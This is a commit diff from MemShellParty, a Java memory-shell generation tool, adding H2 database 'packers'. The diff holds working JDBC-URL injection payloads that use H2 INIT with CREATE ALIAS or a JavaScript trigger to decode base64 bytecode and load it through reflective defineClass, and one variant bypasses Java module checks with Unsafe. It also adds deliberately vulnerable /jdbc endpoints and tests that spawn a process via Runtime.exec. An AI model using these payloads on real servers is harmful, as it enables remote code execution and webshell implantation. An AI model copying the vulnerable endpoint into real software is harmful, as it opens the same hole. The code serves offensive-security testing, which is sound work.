mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support H2 packer
This commit is contained in:
+1
-2
@@ -17,8 +17,7 @@ class ScriptEnginePackerTest {
|
|||||||
GenerateResult generateResult = GenerateResult.builder()
|
GenerateResult generateResult = GenerateResult.builder()
|
||||||
.injectorClassName("hehe")
|
.injectorClassName("hehe")
|
||||||
.injectorBytesBase64Str("hehe").build();
|
.injectorBytesBase64Str("hehe").build();
|
||||||
String jsContent = new String(new ScriptEnginePacker().pack(generateResult.toClassPackerConfig()));
|
String jsContent = new ScriptEnginePacker().pack(generateResult.toClassPackerConfig());
|
||||||
System.out.println(jsContent);
|
|
||||||
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
assertTrue(jsContent.contains("var base64Str = \"hehe\";"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
jps | grep -E "jar" | awk '{print $1}' | tr -d '\n'
|
pgrep -a java | awk '{print $1}' | tr -d '\n'
|
||||||
+1
@@ -348,6 +348,7 @@ public class ShellAssertionTool {
|
|||||||
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
|
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
|
||||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
|
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);
|
||||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -58,13 +58,14 @@ public class SpringBoot2ContainerTest {
|
|||||||
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
@AfterAll
|
@AfterAll
|
||||||
static void tearDown() {
|
static void tearDown() {
|
||||||
String logs = container.getLogs();
|
String logs = container.getLogs();
|
||||||
|
log.info(logs);
|
||||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -92,7 +93,7 @@ public class SpringBoot2ContainerTest {
|
|||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.ScriptEngine, Packers.SpEL, Packers.Base64, Packers.H2JS);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+2
-2
@@ -56,7 +56,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
|
||||||
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -91,7 +91,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
ShellType.AGENT_FILTER_CHAIN,
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
);
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.Base64);
|
List<Packers> testPackers = List.of(Packers.Base64, Packers.H2);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+1
@@ -50,6 +50,7 @@ public class Tomcat8ExpressionContainerTest {
|
|||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
||||||
|
|||||||
@@ -15,6 +15,9 @@ import com.reajason.javaweb.packer.freemarker.FreemarkerPacker;
|
|||||||
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
import com.reajason.javaweb.packer.groovy.GroovyClassDefinerPacker;
|
||||||
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.packer.groovy.GroovyPacker;
|
||||||
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.packer.h2.H2JSPacker;
|
||||||
|
import com.reajason.javaweb.packer.h2.H2JavacPacker;
|
||||||
|
import com.reajason.javaweb.packer.h2.H2Packer;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||||
@@ -125,6 +128,10 @@ public enum Packers {
|
|||||||
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||||
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||||
|
|
||||||
|
H2(new H2Packer()),
|
||||||
|
H2Javac(new H2JavacPacker(), H2Packer.class),
|
||||||
|
H2JS(new H2JSPacker(), H2Packer.class),
|
||||||
|
|
||||||
XxlJob(new XxlJobPacker()),
|
XxlJob(new XxlJobPacker()),
|
||||||
;
|
;
|
||||||
private final Packer instance;
|
private final Packer instance;
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.packer.h2;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/28
|
||||||
|
*/
|
||||||
|
public class H2JSPacker implements Packer {
|
||||||
|
String template = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n{{script}}$$";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||||
|
return template.replace("{{script}}", script.replaceAll(";", "\\\\;"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
package com.reajason.javaweb.packer.h2;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/28
|
||||||
|
*/
|
||||||
|
public class H2JavacPacker implements Packer {
|
||||||
|
String template = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||||
|
"String a(String a) throws java.lang.Throwable{" +
|
||||||
|
"byte[] bytes=null\\;" +
|
||||||
|
"String base64Str=\"{{base64Str}}\"\\;" +
|
||||||
|
"try {\n" +
|
||||||
|
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||||
|
"} catch (java.lang.Throwable var6) {\n" +
|
||||||
|
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
|
||||||
|
"}" +
|
||||||
|
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||||
|
"defMethod.setAccessible(true)\\;" +
|
||||||
|
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||||
|
"myclass.newInstance()\\;" +
|
||||||
|
"return null\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL look('')";
|
||||||
|
String bypassTemplate = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||||
|
"String a(String a) throws java.lang.Throwable{" +
|
||||||
|
"String base64Str=\"{{base64Str}}\"\\;" +
|
||||||
|
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||||
|
"try {" +
|
||||||
|
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
|
||||||
|
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
|
||||||
|
" unsafeField.setAccessible(true)\\;" +
|
||||||
|
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
|
||||||
|
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
|
||||||
|
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
|
||||||
|
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
|
||||||
|
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
|
||||||
|
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
|
||||||
|
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
|
||||||
|
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
|
||||||
|
"} catch (Throwable e) {}" +
|
||||||
|
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||||
|
"defMethod.setAccessible(true)\\;" +
|
||||||
|
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||||
|
"myclass.newInstance()\\;" +
|
||||||
|
"return null\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL look('')";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
if (config.isByPassJavaModule()) {
|
||||||
|
return bypassTemplate.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||||
|
}
|
||||||
|
return template.replace("{{base64Str}}", config.getClassBytesBase64Str());
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package com.reajason.javaweb.packer.h2;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/28
|
||||||
|
*/
|
||||||
|
public class H2Packer implements AggregatePacker {
|
||||||
|
|
||||||
|
}
|
||||||
+1
-1
@@ -27,7 +27,7 @@ public class ScriptEnginePacker implements Packer {
|
|||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
return jsTemplate.replace("{{className}}", config.getClassName())
|
return jsTemplate
|
||||||
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
||||||
.replace("\n", "")
|
.replace("\n", "")
|
||||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
package com.reajason.javaweb.packer.h2;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/28
|
||||||
|
*/
|
||||||
|
class H2JSPackerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test() {
|
||||||
|
H2JSPacker h2JSPacker = new H2JSPacker();
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassBytesBase64Str("bebe");
|
||||||
|
System.out.println(h2JSPacker.pack(classPackerConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,6 +1,8 @@
|
|||||||
FROM openjdk:8
|
FROM openjdk:8-jre
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
|
RUN apt-get update && apt-get install -y procps && rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
COPY build/libs/vul-springboot2.jar /app/app.jar
|
COPY build/libs/vul-springboot2.jar /app/app.jar
|
||||||
|
|
||||||
EXPOSE 8080
|
EXPOSE 8080
|
||||||
|
|||||||
@@ -6,6 +6,10 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
java {
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -15,6 +19,10 @@ dependencies {
|
|||||||
implementation("net.bytebuddy:byte-buddy:1.10.10")
|
implementation("net.bytebuddy:byte-buddy:1.10.10")
|
||||||
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
||||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
runtimeOnly("com.h2database:h2")
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.test {
|
tasks.test {
|
||||||
|
|||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.DriverManager;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class JDBCController {
|
||||||
|
|
||||||
|
@PostMapping("/jdbc")
|
||||||
|
public void JDBC(String data) throws Exception {
|
||||||
|
try {
|
||||||
|
Connection connection = DriverManager.getConnection(data);
|
||||||
|
connection.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
Throwable ex = e.getCause();
|
||||||
|
while (ex.getCause() != null) {
|
||||||
|
ex = ex.getCause();
|
||||||
|
}
|
||||||
|
if (!(ex instanceof ClassCastException)) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
@@ -0,0 +1,17 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class CommandExec {
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("open -a Calculator");
|
||||||
|
} catch (IOException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+42
@@ -0,0 +1,42 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot2.controller;
|
||||||
|
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/28
|
||||||
|
*/
|
||||||
|
class JDBCControllerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
|
||||||
|
String ss = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||||
|
"String a(String a) throws java.lang.Exception{" +
|
||||||
|
"byte[] bytes=null\\;" +
|
||||||
|
"String base64Str=\"" + b64Bytecode + "\"\\;" +
|
||||||
|
" try {\n" +
|
||||||
|
" bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||||
|
" } catch (java.lang.Exception var6) {\n" +
|
||||||
|
" bytes = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;\n" +
|
||||||
|
" }" +
|
||||||
|
"java.lang.reflect.Method defineClassMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||||
|
"defineClassMethod.setAccessible(true)\\;" +
|
||||||
|
"java.lang.Class myclass=(java.lang.Class)defineClassMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||||
|
"myclass.newInstance()\\;" +
|
||||||
|
"return null\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL look('')";
|
||||||
|
jdbcController.JDBC(ss);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testScriptJDBC() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String b64Bytecode = "yv66vgAAADQAIQoABwAUCgAVABYIABcKABUAGAcAGQcAGgcAGwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA9TGNvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGQEAClNvdXJjZUZpbGUBABBDb21tYW5kRXhlYy5qYXZhDAAIAAkHABwMAB0AHgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAHwAgAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAO2NvbS9yZWFqYXNvbi9qYXZhd2ViL3Z1bC9zcHJpbmdib290Mi9jb250cm9sbGVyL0NvbW1hbmRFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAGAAcAAAAAAAIAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAgADwAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAMAAkADwAMAA0ADQAQAAwAAAACAAAAEAAAAAcAAkwHABEAAAEAEgAAAAIAEw==";
|
||||||
|
String ss = "jdbc:h2:mem:a;init=CREATE TRIGGER a BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
|
||||||
|
"var base64Str = \"" + b64Bytecode + "\"\\;var bytecode\\;try { bytecode = java.util.Base64.getDecoder().decode(base64Str)\\;} catch (ee) { bytecode = new sun.misc.BASE64Decoder().decodeBuffer(base64Str)\\;}var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass())\\;var clsInt = java.lang.Integer.TYPE\\;var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsByteArray, clsInt, clsInt])\\;defineClass.setAccessible(true)\\;var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length))\\;clazz.newInstance()\\;$$";
|
||||||
|
jdbcController.JDBC(ss);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -14,4 +14,13 @@ java {
|
|||||||
dependencies {
|
dependencies {
|
||||||
implementation("org.springframework.boot:spring-boot-starter-web")
|
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||||
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
runtimeOnly("com.h2database:h2")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
}
|
}
|
||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.DriverManager;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class JDBCController {
|
||||||
|
|
||||||
|
@PostMapping("/jdbc")
|
||||||
|
public void JDBC(String data) throws Exception {
|
||||||
|
try {
|
||||||
|
Connection connection = DriverManager.getConnection(data);
|
||||||
|
connection.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
Throwable ex = e.getCause();
|
||||||
|
while (ex.getCause() != null) {
|
||||||
|
ex = ex.getCause();
|
||||||
|
}
|
||||||
|
if (!(ex instanceof ClassCastException)) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class CommandExec {
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
java.lang.Runtime.getRuntime().exec("open -a Calculator");
|
||||||
|
} catch (IOException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class JDBCTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String funcionName = "testJDBC";
|
||||||
|
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
|
||||||
|
"String shellexec(String abc) throws java.lang.Exception{" +
|
||||||
|
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
|
||||||
|
"return \"test\"\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL " + funcionName + "('123')";
|
||||||
|
jdbcController.JDBC(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC2() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
